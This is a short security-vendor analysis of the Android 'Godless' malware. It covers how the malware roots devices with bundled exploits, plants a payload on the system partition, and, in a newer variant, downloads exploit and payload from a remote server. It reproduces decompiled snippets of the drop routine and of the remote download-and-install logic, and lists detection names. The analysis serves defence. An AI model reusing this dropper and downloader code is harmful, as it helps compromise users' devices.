Technical Analysis of Godless

After the Godless malware gets installed, it waits for the device's screen to turn OFF. It then begins its rooting process. The malware has two variants; the older variant has a local copy of exploit code present in shared library *godlikelib.so.* Among the exploits, it carries the famous PingPongRoot & Towelroot exploits. For the rooting processs, it uses *godlikelib.so*. Before exploiting, it collects the device's details and runs the exploit accordingly to gain the root access.

```
public static synchronized void b() {
    synchronized (d.class) {
        String str;
        ApplicationInfo applicationInfo = i.a.getApplicationInfo();
        if (applicationInfo == null || TextUtils.isEmpty(applicationInfo.nativeLibraryDir)) {
            str = i.a.getFilesDir().getParent() + "/lib/" + "libgodlikelib.so";
        } else {
            str = applicationInfo.nativeLibraryDir + "/" + "libgodlikelib.so";
        }
        if (new File(str).exists()) {
            a(str);
        }
        if (new File(e).exists()) {
            str = "/system/priv-app/AndroidDaemonFrame.apk";
        } else {
            str = "/system/app/AndroidDaemonFrame.apk";
        }
        if (!new File(str).exists()) {
            b(str);
        }
    }
}
```

Fig 1. Payload drop routine

After rooting the device successfully, Godless drops the *godlikelib.so* and payload on system partition. It keeps an encrypted copy of the payload in assets. If the Godless-infected app is installed on the system partition, it becomes difficult to remove. Also, if anything goes wrong during this process, the device is most likely to crash and become completely useless.

A newer variant of the Godless fetches the exploit and payload at runtime from a remote server which is an even more dangerous scenario.

```
hashMap.put("act", "275");
com.mobomarket.android.http.a.a("http://market.mobo[redacted]/softs.ashx", hashMap, new com.mobomarket.xutils.http.a.d<String>() {
    public final void a(c<String> cVar) {
        if (cVar != null) {
            Object obj;
            getTempRootFile com_dragon_android_mobomarket_temproot_getTempRootFile = new getTempRootFile();
            com_dragon_android_mobomarket_temproot_getTempRootFile.parseJson((String) cVar.a);
            if (com_dragon_android_mobomarket_temproot_getTempRootFile.getCode() == 0) {
                obj = 1;
            } else {
                obj = null;
            }
            if (obj != null && com_dragon_android_mobomarket_temproot_getTempRootFile.getResult() != null) {
                CharSequence downloadUrl = com_dragon_android_mobomarket_temproot_getTempRootFile.getResult().getDownloadUrl();
                String key = com_dragon_android_mobomarket_temproot_getTempRootFile.getResult().getKey();
                if (!TextUtils.isEmpty(downloadUrl)) {
                    f.a(a.b, "GET_TEMP_ROOT_DOWNLAOD_INFO_REQUEST_TIME", Long.valueOf(System.currentTimeMillis()));
                    TempRootFileInfo d = d.d();
```

```
final boolean booleanExtra;
if (intent != null) {
    try {
        final String stringExtra = intent.getStringExtra("apkPath");
        final boolean booleanExtra2 = intent.getBooleanExtra("deleteFile", false);
        booleanExtra = intent.getBooleanExtra("installBySystem", false);
        if (Process.myUid() != 0) {
            TempRootUtil.b();
        }
```

Fig 2. Download & Install Payload

Quick Heal Detection

- Android.Godless.A & Android.Godless.B

_____END_____